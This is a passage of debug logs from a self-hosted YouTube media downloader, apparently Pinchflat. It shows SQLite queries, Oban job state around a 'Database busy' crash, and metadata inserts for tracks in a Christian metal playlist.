WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [2, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:19:57.985 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=2033.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:57.983 [error] GenServer {Oban.Registry, {Oban, {:producer, "media_fetching"}}} terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "attempted_at" = ?, "attempted_by" = ?, "attempt" = "attempt" + ? WHERE (o0."id" IN (SELECT so0."id" FROM "oban_jobs" AS so0 WHERE (so0."state" = 'available') AND (so0."queue" = ?) AND (so0."attempt" < so0."max_attempts") ORDER BY so0."priority", so0."scheduled_at", so0."id" LIMIT ?)) RETURNING "id", "state", "queue", "worker", "args", "meta", "tags", "errors", "attempt", "attempted_by", "max_attempts", "priority", "attempted_at", "cancelled_at", "completed_at", "discarded_at", "inserted_at", "scheduled_at" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (oban 2.19.4) lib/oban/engines/lite.ex:110: Oban.Engines.Lite.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1 Last message: :dispatch State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "media_fetching"}}}}, meta: %{name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", queue: "media_fetching", started_at: ~U[2026-07-24 02:03:51.767424Z], limit: 2, uuid: "72ebacaa-904d-426c-82c6-1ee30a6b596d", updated_at: ~U[2026-07-24 02:19:49.864719Z], paused: false, refresh_interval: 30000, shutdown_started_at: nil}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "media_fetching"}}}}, dispatch_timer: #Reference<0.304696451.716439553.64704>, refresh_timer: #Reference<0.304696451.716439553.63423>, dispatch_cooldown: 5, running: %{#Reference<0.0.334851.304696451.716505089.64042> => {#PID<0.2827.0>, %Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 182, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 119}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:19:51.634698Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:19:51.000000Z], scheduled_at: ~U[2026-07-24 02:19:51.000000Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{...}, ...]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [...], ...], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, ...}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"id" => 119}, id: 182, max_attempts: 20, queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@pinchflat-69fd9f9b5b-rv7vs", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"3 2 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_item", "media_fetching", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 182, state: "executing", queue: "media_fetching", worker: "Pinchflat.Downloading.MediaDownloadWorker", args: %{"id" => 119}, meta: %{}, tags: ["media_item", "media_fetching", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@pinchflat-69fd9f9b5b-rv7vs"], max_attempts: 20, priority: 5, attempted_at: ~U[2026-07-24 02:19:51.634698Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2026-07-24 02:19:51.000000Z], scheduled_at: ~U[2026-07-24 02:19:51.000000Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2616.0>, result: nil, snooze: nil, start_mono: -576459780305028635, start_time: 1784859591977634334, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}}}} 22:19:57.986 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:57.986 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-17 10:06:06Z], 5] 22:19:58.347 [debug] QUERY OK source="tasks" db=172.4ms queue=0.1ms idle=188.7ms DELETE FROM "tasks" WHERE "id" = ? [56] 22:19:58.715 [debug] QUERY OK source="tasks" db=177.6ms queue=0.1ms idle=362.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [185, 2, ~U[2026-07-24 02:19:58Z], ~U[2026-07-24 02:19:58Z]] 22:19:58.715 [info] Sent 302 in 2920ms 22:19:58.780 [info] GET /sources/2 22:19:58.780 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:19:58.873 [debug] QUERY OK source="media_items" db=885.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nWhat A Beautiful Name · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Ben Fielding\nComposer Lyricist: Brooke Ligertwood\n\nAuto-generated by YouTube.", "What A Beautiful Name", "e49df5c6-6821-4f3d-a961-fc3ca6d65a05", false, "TOIO3NgKMa4", 235, false, "https://www.youtube.com/watch?v=TOIO3NgKMa4", 8, "/downloads/ChristianMetal/ChristianMetal/2020-09-17What A Beautiful Name[TOIO3NgKMa4].m4a", false, false, 5, [], 2, ~U[2020-09-17 10:06:06Z], ~U[2026-07-24 02:19:57Z], ~U[2026-07-24 02:19:57Z], "Provided to YouTube by Universal Music Group\n\nWhat A Beautiful Name · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Ben Fielding\nComposer Lyricist: Brooke Ligertwood\n\nAuto-generated by YouTube.", "What A Beautiful Name", "TOIO3NgKMa4", 235, false, "https://www.youtube.com/watch?v=TOIO3NgKMa4", "/downloads/ChristianMetal/ChristianMetal/2020-09-17What A Beautiful Name[TOIO3NgKMa4].m4a", false, 5, ~U[2020-09-17 10:06:06Z]] 22:19:58.874 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=524.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:58.874 [debug] QUERY OK source="media_profiles" db=0.3ms idle=337.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:58.885 [debug] QUERY OK source="sources" db=104.6ms idle=433.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:58.887 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=169.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [170] 22:19:58.887 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=12.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:58.888 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nNo Lungs to Breathe · As I Lay Dying · Tim Lambesis · Nick Hipa · Phil Sgrosso · Josh Gilbert · Jordan Mancino\n\nAwakened\n\n℗ 2012 Metal Blade Records, Inc\n\nReleased on: 2012-09-25\n\nProducer: Bill Stevenson\nMusic Publisher: Frickin Thunfisch. Administered by BMG Rights Managment LLC\n\nAuto-generated by YouTube.", "duration" => 245, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-25No Lungs to Breathe[uJ_UfaNgZMI].m4a", "id" => "uJ_UfaNgZMI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uJ_UfaNgZMI", "playlist_index" => 9, "timestamp" => 1485388558, "title" => "No Lungs to Breathe", "upload_date" => "20170125"} 22:19:58.888 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=13.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:19:58.889 [debug] QUERY OK source="sources" db=0.8ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:58.889 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=3.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [185] 22:19:58.890 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:58.891 [debug] QUERY OK source="settings" db=0.7ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:58.891 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=2.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 23:55:58Z], 5] 22:19:58.891 [debug] QUERY OK source="settings" db=0.5ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:58.892 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:59.052 [debug] QUERY OK source="media_items" db=160.1ms idle=2.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nNo Lungs to Breathe · As I Lay Dying · Tim Lambesis · Nick Hipa · Phil Sgrosso · Josh Gilbert · Jordan Mancino\n\nAwakened\n\n℗ 2012 Metal Blade Records, Inc\n\nReleased on: 2012-09-25\n\nProducer: Bill Stevenson\nMusic Publisher: Frickin Thunfisch. Administered by BMG Rights Managment LLC\n\nAuto-generated by YouTube.", "No Lungs to Breathe", "c9dd1289-3a45-473e-9668-2414f1f64882", false, "uJ_UfaNgZMI", 245, false, "https://www.youtube.com/watch?v=uJ_UfaNgZMI", 9, "/downloads/ChristianMetal/ChristianMetal/2017-01-25No Lungs to Breathe[uJ_UfaNgZMI].m4a", false, false, 5, [], 5, ~U[2017-01-25 23:55:58Z], ~U[2026-07-24 02:19:58Z], ~U[2026-07-24 02:19:58Z], "Provided to YouTube by The Orchard Enterprises\n\nNo Lungs to Breathe · As I Lay Dying · Tim Lambesis · Nick Hipa · Phil Sgrosso · Josh Gilbert · Jordan Mancino\n\nAwakened\n\n℗ 2012 Metal Blade Records, Inc\n\nReleased on: 2012-09-25\n\nProducer: Bill Stevenson\nMusic Publisher: Frickin Thunfisch. Administered by BMG Rights Managment LLC\n\nAuto-generated by YouTube.", "No Lungs to Breathe", "uJ_UfaNgZMI", 245, false, "https://www.youtube.com/watch?v=uJ_UfaNgZMI", "/downloads/ChristianMetal/ChristianMetal/2017-01-25No Lungs to Breathe[uJ_UfaNgZMI].m4a", false, 5, ~U[2017-01-25 23:55:58Z]] 22:19:59.053 [debug] QUERY OK source="sources" db=0.6ms idle=160.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:59.053 [debug] QUERY OK source="media_profiles" db=0.1ms idle=160.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:59.072 [debug] QUERY OK source="sources" db=179.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:19:59.168 [debug] QUERY OK source="media_items" db=96.2ms queue=0.2ms idle=20.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [175] 22:19:59.169 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nThe Price of Agony · Fit For A King\n\nDark Skies\n\n℗ 2018 Solid State Records\n\nReleased on: 2018-09-14\n\nAuto-generated by YouTube.", "duration" => 288, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-07-02The Price of Agony[kT3eHvwlytw].NA", "id" => "kT3eHvwlytw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=kT3eHvwlytw", "playlist_index" => 10, "timestamp" => 1530549686, "title" => "The Price of Agony", "upload_date" => "20180702"} 22:19:59.168 [debug] QUERY OK source="media_items" db=96.4ms idle=19.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:19:59.169 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=115.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:19:59.170 [debug] QUERY OK source="sources" db=0.3ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:59.170 [debug] QUERY OK source="media_items" db=1.1ms idle=97.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' 